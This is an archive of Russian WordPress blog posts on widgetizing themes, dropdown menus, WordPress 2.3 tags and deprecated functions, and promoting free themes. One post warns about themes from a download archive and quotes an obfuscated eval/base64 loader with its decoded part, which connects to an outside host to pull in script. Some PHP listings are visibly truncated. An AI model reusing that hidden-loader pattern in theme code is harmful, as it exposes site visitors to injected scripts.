Как сделать тему WordPress виджет совместимой за 3 шага
Вторник, 19 февраля 2008В комментариях к последней статье “Виджеты - это очень просто!” попросили рассказать, как же сделать тему виджет совместимой. Честно говоря, я думал, что на офф.сайте это описано, а как выяснилось написано то оно написано, да не совсем там.
В общем, отрыл я пошаговое описание того, как нужно “грамотно” виджетизировать свою тему, которое ниже предлагаю вам в своём переводе с небольшими корректировками и дополнениями.
Шаг 1. Редактируем functions.php
Сперва необходимо удостоверится в том, что в папке с вашей темой находится файл function.php, а если таковой отсутствует, то создайте его сами.
Следующим шагом нам необходимо определиться - как у нас формируется сайдбар. Откройте свой sidebar.php и попытайтесь вникнуть в код и понять, что используется для формирования сайдбара - списки (<ul>) или дивы (<div>).
Например, у Артема сайдбар стандартный, из списков и заголовков второго уровня, что видно по коду:
-
О себе
-
....
-
Рубрики
....
А вот у Максима напротив, сайдбар состоит из последовательных блоков div, обрамленных изображениями “скругленных углов”, а уже внутри дива находится контент виджета. Кусок кода, чтобы было (возможно) проще понять, о чём я говорю:
Самое комментируемое
Так вот - первый вариант, как я уже и писал, можно обозвать стандартным или скорее классическим, а следовательно и встраивание в сайдбар по “классической схеме” будет проходить максимально безболезненно.
Достаточно в functions.php добавить блок кода, чтобы в итоге получить сайдбар на основе списков с заголовками 2 уровня:
Если файл functions.php вы не создавали с нуля, то советую сперва просмотреть его на наличие указанного выше кода, чтобы не получилось дублирования.
Если же, вы используете, какой-то более извращенный метод (ничего личного, Макс:-)), то код может принять устрашающий вид, аля:
'
,
'before_title' => '
',
'after_title' => '
',
));
?>
Дам небольшие пояснения, строка, передаваемая в параметр ‘before_widget’ будет выводится как начало любого виджета, а ‘after_widget’ - конец. Т.е. тут мы задаём тэги обрамления виджета. ‘before_title’ и ‘after_title’ соответственно определяют обрамление заголовка виджета (это все те “Рубрики” и “Самое читаемое”). В итоге мы получим дивный сайдбар с заголовками 4 уровня.
Для особо замороченных существует возможность получить при выводе виджета его id (генерится из имени виджета) и класс (получается в процессе обработки виджета). Т.к. ‘before_widget’ пропускается через sprintf, то в любое место строки можно передать %1$s и %2$s, чтобы при выводе получить соответствующие параметры. Надеюсь “замороченные” поняли, о чём я.
Шаг 2. Проверяем сайдбар и добавляем на него виджеты
Чтобы понять работает наш сайдбар или нет, нужно добавить на него несколько виджетов.
Идём в админ панель, далее “Внешний вид > Виджеты” и лицезреем (или нет, если забыли сохранить и/или загрузить functions.php в свою тему) панель сайдбара, куда можно (и даже нужно) натаскать пару-тройку виджетов. И главное нажать “Сохранить”, после чего перейти к третьему шагу.
Шаг 3. Добавление сайдбара в шаблон
Ну и наконец-то то, ради чего всё делалось - подключение сайдбара в шаблон.
Тут есть простой и очень простой способ. Оба заключаются в редактировании файла sidebar.php вашей темы.
Простой способ:
Вставить сразу после строки <div id=”sidebar”> следущий код
а перед последним </div> код - <?php endif; ?>
Очень простой способ заключается в том, чтобы понять для себя раз и навсегда, что никто уже не использует шаблоны без виджетов и, стерев предварительно ВЕСЬ код из sidebar.php, скопипастить туда:
Чем меньше кода в подключаемом файле, тем быстрее у нас всё работает (хотя на таком уровне это конечно “мёртвому припарки”, но всё же).
Теперь заходим в свой блог и наблюдаем работающие виджеты.
Если что-то не получилось, то пишите в комментарии о проблемах, с которыми пришлось столкнуться, возможно, ответы будут полезны и другим.
И ещё, я думаю - писать пост про создание темы с несколькими виджетами или нет? Пригодится тебе такая статья, читатель, или нет?
Выпадающее меню “имени Suckerfish” в WordPress
Четверг, 10 января 2008За последнее время сразу несколько человек поинтересовались у меня, а не в курсе ли я, как делать выпадающие меню в WordPress? Я честно отвечал “Нет”, потому что с содроганием вспоминал, как когда-то, на заре изучения web-кодинга, пытался сделать более-менее нормальное выпадающее меню. Триста раз проклял я тогда и java-script, и html, и, конечно же, все браузеры.
Но раз люди спрашивают, то появляется жгучее желание им помочь, вот и полез раскапывать, как дела обстоят сейчас и что новенького умные дядьки намутили, и даже, знаете ли, нашёл. Причём нашёл и очень сильно удивился тому, как это было сделано - вот что значит мало практиковать вёрстку и работать с CSS, потому что, по сути, для того, чтобы намудрить ОТЛИЧНОЕ выпадающее меню, достаточно знать:
а) как делать ненумерованные списки в html (<ul></ul>)
б) уметь копипастить файл-стилей
Ну что же, если эти два пункта и то вызывают у вас сомнения, то буду предельно доступно излагать по шагам, а нетерпеливые могут сразу перейти сюда и посмотреть/пощупать своими руками, итак
Шаг 1. Готовим список пунктов меню руками
Сейчас объясню суть создания выпадающего меню из списков и после этого мы сделаем простейший список, который и будем мучить.
Как известно, выпадающее меню состоит из элементов/ссылок, при наведении на которые, мы получаем доступ к дополнительному списку с под-элементами. В обычной ситуации главные пункты меню располагаются в строку, а каждая группа под-элементов представляет собой столбец ссылок, появляющийся после наведения на элемент главного меню.
Вот мы и будем делать именно списки - внешний для главного меню и внутренние - для каждого набора под-разделов.
//Внешний список
<ul class="nav" id="nav-one">
<li>
//Текст ссылки первого элемента
<a href="#item1">item 1</a>
//Внутренний список для первого элемента
<ul>
//Первый под-элемент
<li><a href="#item1.1">item 1.1</a></li>
//Второй под-элемент
<li><a href="#item1.2">item 1.2</a></li>
<li><a href="#item1.3">item 1.3</a></li>
<li><a href="#item1.4">item 1.4</a></li>
</ul>
</li>
<li>
//Текст ссылки второго элемента
<a href="#item2">item 2</a>
//Внутренний список для второго элемента
<ul>....</ul>
</li>
//Ну и так далее
</ul>
Всё просто и, я думаю, дополнительные разъяснения не требуются, главное не забыть указать у внешнего меню class=”nav” и id=”nav-one”.
Шаг 2. Стилизуем списки
Сам файл стилей не слишком большой, но между тем целиком код в блоге я приводить не хочу, поэтому советую для дальнейшей беседы скачать файл стилей, а я буду просто рассказывать про принцип работы, ссылаясь на него.
Берём файл sfstyle.css и открываем блокнотом или любым другим редактором (если кому интересно, то я использую Zend Development Environment или, проще говоря, ZDE).
Ну что же, приступим.
Первым делом уберём у всевозможных списков все отступы и прочие списочные атрибуты, это делается в .nav, .nav ul. После чего выводим их в строчку, а не как обычно, за это у нас отвечает float:left; в .nav li. Сразу обращу внимание на то, что мы везде применяем относительное (relative) позиционирование (position), чтобы элементы появлялись в строго заданных им местах, относительно родительских элементов.
Теперь нам необходимо спрятать внутренние списки с глаз долой и отображать их только при наведении. Тут мне попалось два способа:
1) Найденый на A List Apart - для вложенных ul элементов устанавливаем атрибут display:none;, а при наведении (li :hover ul) возвращаем в нормальное значение block.
2) Попавшийся на одном Ajax-ориентированном сайте - прятать список за экран (top:-999em;), а потом устанавливать позицию при наведении.
Так как я взял CSS из второго варианта (почему станет ясно позже), то с первым предлагаю поэкспериментировать самостоятельно.
В принципе на этом можно было бы и закончить, если бы не всеми любимый Internet Explorer (будь он неладен), который плохо обрабатывает псевдо-класс :hover, поэтому переходим к следующему шагу.
Шаг 3. Немного java-script и jQuery
Как это не прискорбно, но java-script придётся применять в любом случае, но я имею вам предложить целых два варианта (ну на самом деле их, наверное, больше), а вы уж сами решайте каким воспользоваться. Объяснять как именно ЭТО работает, не буду, скажу только, что всё сводится к прицеплению обработчкиков при наведении для всех li внешнего списка.
Способ 1 - Чистый java-script
startList = function() {
if (document.all&&document.getElementById) {
navRoot = document.getElementById("nav-one");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() { this.className+=" sfHover";}
node.onmouseout=function() {
this.className=this.className.replace(" sfHover", "");
}
}}}}
window.onload=startList;
Способ 2 - C применением jQuery
$(document).ready(function(){
if (document.all) {$("#nav-two li").hoverClass("sfHover");});
$.fn.hoverClass = function(c) {
return this.each(function(){
$(this).hover(
function() { $(this).addClass(c); },
function() { $(this).removeClass(c); }
);
});
};
Кому как, а мне визуально больше нравится второй вариант, к сожалению, тут есть одно “НО” - необходимость подключения библиотеки jQuery. Не скажу, что это огромный минус, потому что: а) она идёт в комплекте с WordPress, так что ничего дополнительно скачивать не придётся; б) возможно какой-то из установленных у вас плагинов уже ею пользуется. Сама библиотека весит 20-30кб, поэтому особо не обременит пользователя, к тому же грузится она только первый раз, а потом подгружается из кэша. И не стоит забывать, что она позволяет делать многие интересные вещи, о чём ниже, в пункте 4.
Сейчас я объясню как её подключить:
1. Проверьте, не подключена ли она уже каким-нибудь плагином, для этого откройте любой пост в своём блоге и в html коде поищите слово “jQuery”.
2. Если его нет, то лезем в файл темы header.php и где-нибудь перед </head> вставьте
<script type=”text/javascript” src=”http://ваш_домен/wp-includes/js/jquery/jquery.js”></script>
Кстати, если кто не знает, то приведенные выше java-script листинги нужно тоже вставить в хэдер до </head>, обрамив с обоих сторон <script type=”text/javascript”>…</script>
Шаг 4. jQuery-бонус - плавное меню
Раз уж мы вынудили пользователя скачать лишних целых 25кб, то надо его за это как-то наградить:)
Как вы смотрите на то, чтобы сделать появление меню плавным? Думаете сложно? А как вам вот такой код?
$(document).ready(function(){
$("#nav-two li ul").fadeOut("fast");
$("#nav-two li").hover(
function(){ $("ul", this).fadeIn("fast"); },
function(){ $("ul", this).fadeOut("fast"); }
);});
Помоему просто отлично, а главное понятно) Добавлю лишь, что вместо “fast” можно добавить “slow” или любое число в миллисекундах.
Тем, кто всё это прочёл думаю стоит посетить эту страничку с примером, где теперь должно быть всё понятно, а если остались какие-то вопросы или я что-то не точно написал - прошу в комменты.
Теперь думаю при помощи этой методики не составит труда делать различные меню - при помощи всяких там wp_list_categories и иже с ним.
ПыЦ: Только не спрашивайте меня, почему SuckerFish. Как я понимаю - это означает рыбу прилипалу или я ошибаюсь? Есть среди читателей знатоки ангельского языка?
Адаптируем тему под WordPress 2.3.x
Среда, 12 декабря 2007Обещал, значится, вот и пишу. Если кто-то ожидает “откровений”, то думаю несколько напрасно, но для общего развития людям, интересующимся CMS WordPress и желающим идти в ногу со временем, ознакомиться стоит.
Многих людей останавливает от перехода на WordPress 2.3 сам процесс апгрейда до новой версии, и я вполне их понимаю, потому что сталкивался с “кривыми” апдейтами, когда приходилось править “напильником” кодировки или наблюдать округлившиеся глаза после “преобразования категорий в тэги” и фразу “Эээ… а как это сделать обратно?”.
Поэтому, если уж обновляетесь, то делайте это правильно, а, если есть возможность, попросите людей знающих. Они это сделают и быстро, и качественно, а то ведь можно и так конвертнуть базу, что “и” и “ш” пропадут и обратно их уже не получить.
Ну а теперь к теме поста. Первым делом определимся с тем, что у нас реально нового появилось в WordPress 2.3 относительно тем: 1. Тэги, 1а. Облако тэгов, 2. Несколько Deprecated тэгов и их новые аналоги.
Пройдёмся по порядку.
1.Тэги.
Да-да, теперь у нас есть встроенные тэги (ура-ура!), а так же несколько тэгов-разметки для работы с ними:
the_tags - выводит все тэги, назначенные посту, используется внутри Loop.
Синтакис простой: the_tags(’текст ДО’, ‘разделитель МЕЖДУ тэгами’, ‘текст ПОСЛЕ’).
Примеры из кодекса:
the_tags(’Метки:’, ‘, ‘, ‘<br />’); - выведет текст “Метки:”, список тэгов через запятую, а потом перейдёт на новую строку.
Или вот код, выводящий тэги в виде ненумерованного списка the_tags(’<ul><li>’,'</li><li>’,'</li></ul>’);
get_the_tags - функция возвращает (заметьте, не выводит, а только лишь возвращает) список всех тэгов, назначенных посту, в виде массива объектов. А вы уже с ним можете делать что хотите, т.е. формировать какие угодно конструкции и вводить проверки, работая с каждым тэгом в отдельности. Работает только в Loop.
Вот пример того, как выводить тэги в виде картинок, с соответствии с названием (стоит понимать, что картинку нужно положить в папку ДО применения тэга):
term_id);
echo '<a href="' . $link . '" rel="tag">'
.'<img src="http://example.com/images/'
.$tag->name .'.jpg" alt="'
. $tag->name . '" /></a>';
}
}?>
Всё просто, во второй строке мы сохраняем в переменную posttags все тэги данного поста, в третьей проверяем попался ли нам хоть 1 тэг (вот, кстати, и ещё одно применение get_the_tags() - проверка на существование тэгов, пример будет чуть позже), в четвёртой строке начинаем выдёргивать по очереди все тэги и с 5 по 9 строку выводим картинку в ссылке.
В принципе строки с 6 по 9 можно объединить в одну, это я чтобы в блоге за края не уезжало.
А вот этот коротенький код будет выводить тэги только тогда, когда они есть. Желательно использовать в том случае, если вы обновляли свой блог с более ранней (<2.3) версии и не успели "пометить" все посты, в таком случае пользователь не будет удивлён строчкой "Метки:" и пустым пространством за ним.
Ну и чтобы закончить с get_the_tags(), вот список параметров, которые можно получить через $tag->параметр:
- term_id - id тэга
- name - имя
- slug - сокращение, сгенеренное из имени. Если вы используете RusToLat, то генериться он будет в транслите.
- count - общее количество раз, которые тэг встречался в блоге.
single_tag_title - функция выводит/передаёт в переменную, заголовок страницы тэга, т.е. той, которая будет доступна при просмотре всех постов с определенной меткой (/tag/wordpress). Я кончено могу и ошибаться, но это 100% аналог тэга single_cat_title, причём, если вы применяете последний, то он адекватно будет выводить и заголовки для тэгов, а не только категорий.
1а. Облако Тэгов
До меня уже Максим подробно описал работу с облаком тэгов, поэтому просто процитирую его:
Для того, чтобы вывести облако меток, например в сайдбаре нужно использовать функцию wp_tag_cloud(). Функция принимает следующие аргументы (указаны значения по-умолчанию):
- ’smallest’ => 8 (минимальный размер шрифта)
- ‘largest’ => 22 (максимальный размер шрифта)
- ‘unit’ => ‘pt’ (единицы измерения)
- ‘number’ => 45 (количество меток в облаке)
- ‘format’ => ‘flat’ (разделитель: flat - пробел, list - список, array - массив)
- ‘orderby’ => ‘name’ (сортировка: name - по имени, count - количеству записей)
- ‘order’ => ‘ASC’ (порядок сортировки: ASC - прямой, DESC - обратный)
- ‘exclude’ => ” (исключить метки, указываются через запятую)
- ‘include’ => ” (включить метки, указываются через запятую)
Полезность для работы с тэгами.
Если кто ещё не знает о существовании такого мега полезного плагина как Simple Tags, то могу только… посоветовать его немедленно скачать и установить! Так же не забываем благодарить тов. Лекактуса за качественную локализацию и своевременные обновления.
Что может плагин (взято у Лекактуса):
Simple Tags - это ПРЕВОСХОДНЫЙ инструмент для управления вашими метками WP 2.3.
Он был написан со следующей философией: лучше производительность, больше безопасность и преподнесение новых функций!
- угадывает метки при вводе и подставляет из существующих
- автоматические подходящие метки для записи
- управление метками (переименование,удаление объединение, поиск и добавление меток, редактирование коротких ссылок меток)
- список непомеченных страниц/записей
- массовое редактирование меток
- возможность добавлять метки в страницы (не только записи) и включение их в результаты поиска по меткам
- связанные записи по общим меткам
- возможность добавлять связанные записи в RSS
- динамические облака меток с раскрашиванием в виджетах
- метки внутри заголовка блога
- поддержка встраиваемых меток ([tags]tag1, tag2[/tags]) для совместимости со старыми записями, где они были заданы таким способом
- Автоматическая вставка меток а записи (опционально, без редактирования шаблона). А также на выбор включение их только на блоге/в rss или в оба места сразу
О том, как всё это настраивать, написано ОЧЕНЬ подробно на странице плагина.
А ещё я советую вам пролистать блог Лекактуса на наличие кучи полезных плагинов и подписаться на рсс, чтобы следить за их обновлениями.
Deprecated тэги/функции и их новые аналоги
Небольшое отступление перед тем, как перейти непосредственно к самим тэгам. Если вы не знаете что, такое Deprecated (нежелательные) элементы в программировании, то в кратком виде статья с wikipedia:
Часть программы или метод, обозначенный как deprecated, являются сомнительными, и использование их в дальнейшем необоснованно. Эта часть работает в текущей версии ПО, однако может вызывать сообщение об ошибке в качестве предупреждения. Это служит для предупреждения пользователя о том, что данная часть кода может быть удалена в следующих резлизах программы.
Основной причиной объявления части кода (функций, методов, классов) как deprecated является желание улучшать код, и, при этом, со временем избавляться от устаревших подходов. Оставление старого кода наряду с новым приводило бы к неоправданному разрастанию программного продукта, что усложняло бы его поддержку, изучение и использование. В то же время, просто удалять устаревшие части кода нежелательно, так как это нарушит обратную совместимость для пользователей данного ПО.
Короче, никто не гарантирует, что те тэги/функции, которые были помечены deprecated после релиза WordPress 2.3, вообще будут работать, а уж тем более каждая новая версия (а 2.4 уже вот-вот будет доступен) увеличивает шанс, что тэги будут выдавать ошибку или работать не верно. Поэтому просто-напросто, нужно просмотреть свою тему, найти все вхождения “нежелательных” тэгов и поменять их на новые.
Тэги работы с ссылками из блогролла
get_links_list - вывод всех пунктов блогролла в виде не нумерованного списка.
wp_get_links - выводит ссылки из определенной категории блогролла, в виде списка.
get_links - настраиваемое отображение ссылок из блогролла.
На смену этим тэгам-разметки пришла (причём ещё в 2.1 версии, но запретили их только сейчас) функция wp_list_bookmarks(), которая делает всё тоже самое, только лучше.
Если использовать wp_list_bookmarks() без параметров, то на выходе получим список ссылок из блогролла, разбитые по категориям, отсортированные по имени, с картинкой, если она указана; так же в ссылке будет описание в title, взятое из соответствующего поля; рейтинг указан не будет.
Понятное дело, что параметров уйма:
- categorize - разбивать ли ссылки по принадлежности категории? 1 - Да, 0 - Нет.
- category - ID категорий через запятую, которые нужно отображать.
- category_name - тоже самое, что и category, но указываются имена категорий.
- category_orderby - по какому полю сортировать категории. name - имя (по-умолчанию) или id.
- category_order - порядок сортировки по предыдущему параметру. ASС и DESC соответственно.
- title_li - указываем текст, который будет выведен перед всеми ссылками, если параметр categorize=0. По-умолчанию выводится “Bookmarks”, но если указать пустое значение (title_li=), то ничего выведено не будет, в том числе и <ul>, и </ul>.
- title_before и title_after - два параметра определяющие обрамление описания (decription) категорий, при categorize=1. По-умолчанию обрамляются заголовком второго уровня (<h2></h2>). Если меняете один из этих параметров, то не забудьте заменить и второй.
- show_private - параметр определяющий, можно ли отображать “приватные” ссылки. Если установлено значение 1, то игнорируются админские настройки и выводят даже личные ссылки.
- include и exclude - позволяют точно указывать, какие ссылки (по ID) показывать/не показывать.
- orderby - это уже сортировка ссылок, а не категорий, тут вариантов больше: id, url, name, target (”Назначение” в русской версии), description (описание), owner (владелец ссылки, т.е. тот кто её добавил), rating, updated (дата последних изменений), rel (”Отношение к ссылке”), notes (”Заметки”), rss, length (сортировка в зависимости от длинны ), rand (в случайном порядке).
- order - порядок сортировки по предыдущему параметру. ASС и DESC соответственно.
- limit - количество ссылок, которые будут показаны. Параметр -1 отобразит все ссылки, удовлетворяющие остальным параметрам, он же и стоит по-умолчанию.
- before, after, category_before, category_after - обрамление каждой ссылки и каждой категории (не описания, как в случае с title_before и title_after). По умолчанию в обоих случаях стоят <li>, и </li>, причём в <li> категории дописывается соответствующий ей id и class.
- between - параметр, определяющий разделитель, между ссылкой/изображением и соответствующим описанием, по умолчанию стоит перевод на новую строку (’\n’).
- show_images - показывать ли изображение, если оно указано в соответствующем поле. 1 - Да, 0 - Нет.
- show_description - показывать описание к ссылке или нет.
- show_rating - отображать ли рейтинг.
- show_updated - указывать ли дату и время последнего обновления.
- hide_invisible - выводить ли ссылки помеченные как “невидимые”? В данном случае 1 - Нет, 0 - Да.
- echo - выводить ли сразу в шаблон или просто вернуть значение в переменную (чтобы ещё мучать при помощи PHP). 1 - Да, 0 - Нет.
Фуф, осилили? Ну, тогда для самых стойких небольшой пример - код выводит ссылки из рубрики ID=2, используя при этом картинки, обрамленные в и без описания. В добавок всё отсортированно по URL ссылки.
&after=&show_images=1&show_description=0&orderby=url');
?>
Ну что же, вроде основные моменты в адаптации темы под WordPress 2.3.x я описал, остальное в ваших руках.
Если что-то осталось непонятным или после прочтения возникли вопросы, то не стесняемся и спрашиваем в комментариях. Хотелось бы узнать, полезно ли будет описать остальные Deprecated тэги и их аналоги, для тех, кто переходит с 2.0.x на 2.1 и выше?
Желаю успешного, а главное безглючного перехода на WordPress 2.3.
Осторожно! Злая тема… для WordPress!
Пятница, 30 ноября 2007Вдогонку к предыдущему посту о темах, взгляд с другой стороны, а если быть точным, то пост для тех самых пользователей, которые все эти темы качают.
Вообще, в последнее время очень сильно повысилось количество постов о взломе разных блогов на WordPress’е, а всё потому, что люди забывают обновляться до последней версии. Но даже наличие последней стабильной версии с офф.сайта не даёт гарантий, что вас не “поимеют”.
Недавно на глаза попался пост о интересном способе, который применяют хакеры для получения информации о сайте.
Для тех, кто не очень дружит с ангельским языком, расскажу вкратце о чём там речь:
Некий дизайнер Derek Punsalan сделал темку (а точнее даже несколько) для WordPress и решил их подарить всему миру. В итоге она разлетелась по куче разных тематических архивов, одним из которых был WpSphere. И что вы думаете?
После скачивания и установки с этого сайта, некоторые пользователи заметили, что в тексте страниц находится примерно такой код
@eval(@base64_decode(’aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3Q\
jY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20i\...
Если вы не разбирается в PHP, поясню - такой метод применяется, чтобы скрыть реальный исполняемый код, потому что после декодирования (функция, base64_decode), текст будет выглядеть несколько более подозрительно
if($R37C014DAE5FE4FE5C77B6735ABC30916 =
@fsockopen("www.wpssr.com", 80,
$R32D00070D4FFBCCE2FC669BBA812D4C2,
$R5F525F5B398DADD7CF0784BD406298E3, 3))
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr";...
В результате выполнения этого скрипта, с одного из серверов (я указал лишь часть исходника) подгружался java-script. По словам одного из блоггеров, Пола Кэрола, который проводил исследования по поводу “вредоносности” данного кода, выходит, что ничего плохого не происходило, а Wp-Sphere просто мониторили количество установок тем.
Только вот, несмотря на это, что-то уж через чур большая дыра в безопасности получается, ведь внедряя ява-скрипт на страницу, злоумышленники могут без проблем крутить рекламу, а что более скверно - получить информацию, сохраненную в браузере.
Весь этот пост написан для того, чтобы вы задумались перед установкой очередной темы, скаченой из не проверенных источников. Или, во всяком случае, проверили, что там у неё внутри, а если не можете сами (по причине, что любой код для вас - набор бессмысленных знаков), то попросите того, кто понимает, можно и меня.
И напоследок, к проверенным источникам с лёгкостью могу отнести сайт themes.wordpress.net, ибо официальный, а так же советую ознакомиться с “Кратким руководством по безопасности WordPress” от Максима, скоро постараюсь опубликовать не краткое, а большое и разностороннее.
Мира вам и безопасного интернета и WordPress.
Как повысить количество скачиваний вашей темы
Четверг, 29 ноября 2007Пост посвящается всем дизайнерам и верстальщикам тем под WordPress.
Порой я впадаю в уныние от того, что дизайнер из меня никакой, а вёрстка не приносит радости, а только нервный тик. Особенно когда подгонишь всё качественно в FireFox, а потом посмотришь на сайт в IE. Сидишь и тихо всхлипываешь.
К чему я это пишу? А к тому, что умей я быстро и качественно делать темы для ВордПресса, то вполне возможно имел бы ого-го сколько бэклинков, ведь никто не мешает вставить ссылку на себя в футере.
Если глянуть на статистику того же themes.wordpress.net, то в топе темы с количеством скачиваний от 10000 и больше, и если даже прикинуть, что лишь 1/10 из них будет установлена, то… 1000 сайтов с бэклинками С КАЖДОЙ СТРАНИЦЫ. А что если сайт ещё и популярным будет?
Причём, что самое приятное, затраты на это минимальные - сделать тему, разместить её в разных базах и всё - сиди, жди пока скачают. А теперь дам несколько советов, которые позволят повысить количество скачиваний и качество тем.
Бесплатно и только бесплатно.
Некоторые дизигнеры считают, что раз они тратили время на создание темы, то надо требовать денежку за скачивание. Это довольно глупо, учитывая то разнообразие бесплатных тем, которые лежат в интернете в свободном доступе.
Нестандартный подход.
Частенько ВордПресс обвиняют в том, что сайты, сделанные на нём, выглядят все совершенно одинаково. Ещё бы, ведь большинство т.н. дизайнеров не заморачиваются, а просто редактируют стандартную тему (может слышали такое название - Kubrick). Придумайте что-нибудь новое и нестандартное, такое, чтобы при первом же взгляде на превьюшку хотелось бы “потыкать” сайт.
Отличным примером темы “не как все” является не безызвестный сайт http://browsehappy.com/. А ведь и не скажешь с первого взгляда, что это WordPress.
Создавайте тематические темы.
Не пытайтесь сделать абстрактную тему “для всех”, если вы хотите, чтобы ваше творение не только скачивали, но и использовали, то узкая тематика подойдёт для этого как нельзя лучше. Я, например, не нашёл ни одной темы для WordPress по Гарри Поттеру, а ведь, при таком количестве фанатов и посвещенных ему блогов, тема была бы ОЧЕНЬ популярна. Подумайте об этом:-)
Или сезонные темы, а так же темы к таким праздникам как Рождество/Новый год, их точно будут качать, главное чтобы они были в доступе к нужному моменту.
Не используйте дешевый клипарт.
И тут не столько дело в деньгах, сколько в качестве применяемых в теме картинок. Печально лицезреть хорошо свёрстанную тему, в которой изображения в хэдере не чёткие или пестрят пикселами. Изучите хорошенько, какие форматы сжатия изображений для чего лучше подходят, ведь мы же хотим, чтобы пользователь дождался загрузки страницы.
Старайтесь не применять в своей теме плагины.
Да, порой хочется расширить функционал своей темы за счёт плагинов, но не забывайте, что у пользователя, который собирается использовать её, вашего набора плагинов скорее всего не будет. С другой стороны это не мешает вам подготовить свою тему так, чтобы при активации определенных плагинов она адекватно на это реагировала. Делается это простой проверкой в коде темы и соответственно вывод дополнительного кода. Очень удобно при работе с популярными плагинами, которые можно стилизовать под тему, например тот же Wp-PageNavi. Главное, чтобы это было “прозрачно” для конечного пользователя и являлось “приятным дополнением”, а не принуждало что-то ещё скачивать.
Вкладывайте в тему исходник дизайна.
Если вы облегчите перерисовку некоторых элементов “под себя”, то шансы увидеть бэклинки повышаются. Не обязательно выкладывать psd всего дизайна целиком, а вот такие элементы, как логотип, фоновые изображения и т.п. можно положить в отдельную папку в теме. Люди будут благодарны, уж поверьте мне, сам радуюсь, если нахожу исходники отдельных элементов в архиве.
Сделайте тему на нескольких языках.
Обычно в темах не так много элементов, которые требуют перевода, и для знающего человека перевод занимает от силы полчаса времени. Только вот таких вот знающих людей обычно не так много. А обычный пользователь сразу же впадает в ступор, когда при активации темы, видит текст на не родном языке. Я сужу об этом по количеству топиков с вопросом: “а как мне перевести тему”/”локализуйте мне тему” на разных форумах.
Если вы заранее позаботитесь об этом, то многократно увеличите количество загрузок. Причём, все текстовые элементы в 90% случаев одинаковы во всех темах, поэтому можно сделать заготовку из .MO файлов на разных языках и вкладывать их в архив.
Будьте разнообразнее в оформлении и цветовой гамме.
Сейчас во всём популярен минимализм, в том числе и в цветовом оформлении. В большинстве своём на глаза попадаются темы в чёрно-белых или сине-голубых тонах. Это же скучно. Сделайте качественную розовую тему с цветочками, и изрядное количество блоггерш-домохозяек будут вам благодарны, а уж они то точно не знают, как убрать из футера ваш бэклинк
Согласитесь, данный сайт выглядит более чем приятно.
Осторожнее со спонсорством.
Пару раз попадались темы с уже встроенными блоками адсенса автора. Смеялся долго, вырезая их из исходников. Во-первых, где-то слышал, что гугл вполне может забанить аккаунт, если клики приходят с неизвестных сайтов, а во-вторых, ну имейте же совесть.
И не следует в футер пихать по 10 ссылок, в надежде поднять выдачу разным своим проектам. Такие блоки со 100% вероятностью будут стёрты, так что вы не получите даже ссылки на себя. Будьте скромнее и довольствуйтесь малым… в больших количествах.
Проверьте тему в популярных браузерах.
Это очень важный момент, о котором многие забывают. Не обязательно впадать в истерию и тестировать её во всех существующих браузерах, достаточно четырёх: IE6, IE7, FireFox и Opera. Или воспользуйтесь сервисом http://www.browsershots.org/.
Разместите тему в каталогах.
Мало выложить тему у себя в блоге, нужно ещё и оповестить популярные (и не очень) каталоги тем об этом. Большинство из них можно найти, просто введя в гугле фразу wordpress themes. Если в каталоге нет свободной возможности добавить тему, то отправьте её по почте администратору, ведь размещение новых интересных тем не только в ваших интересах, но в интересах каталога.
При регистрации укажите в названии наиболее популярные слова, связанные с тематикой, а так же регистрируйтесь сразу в нескольких категориях, чтобы с максимальной вероятностью попадать в выдачу.
Не забудьте сделать скриншот.
Когда я вижу в предпросмотре “Screenshot is not available”, то я даже не кликаю на ссылку demo, чтобы посмотреть, как тема выглядит в действии. Тоже самое касается и картинок, где вместо превьюшки просто написано название темы. Когда я выбираю тему, то хочу хотя бы примерно представлять, что увижу, а не тратить время понапрасну.
Не забывайте обновлять темы.
В WordPress 2.3 появились встроенные тэги, отличный повод подновить тему, и добавить в описание Wordpress 2.3 ready или tags included. Вообще, чем полнее описание и количество “фич” в нём указано, тем лучше.
Ну вот собственно и всё, что мне пришло в голову. Если вы делаете качественные темы, то можете оставлять ссылки в комментариях, вдруг мне приглянется, обещаю в таком случае оставить на вас ссылку;-)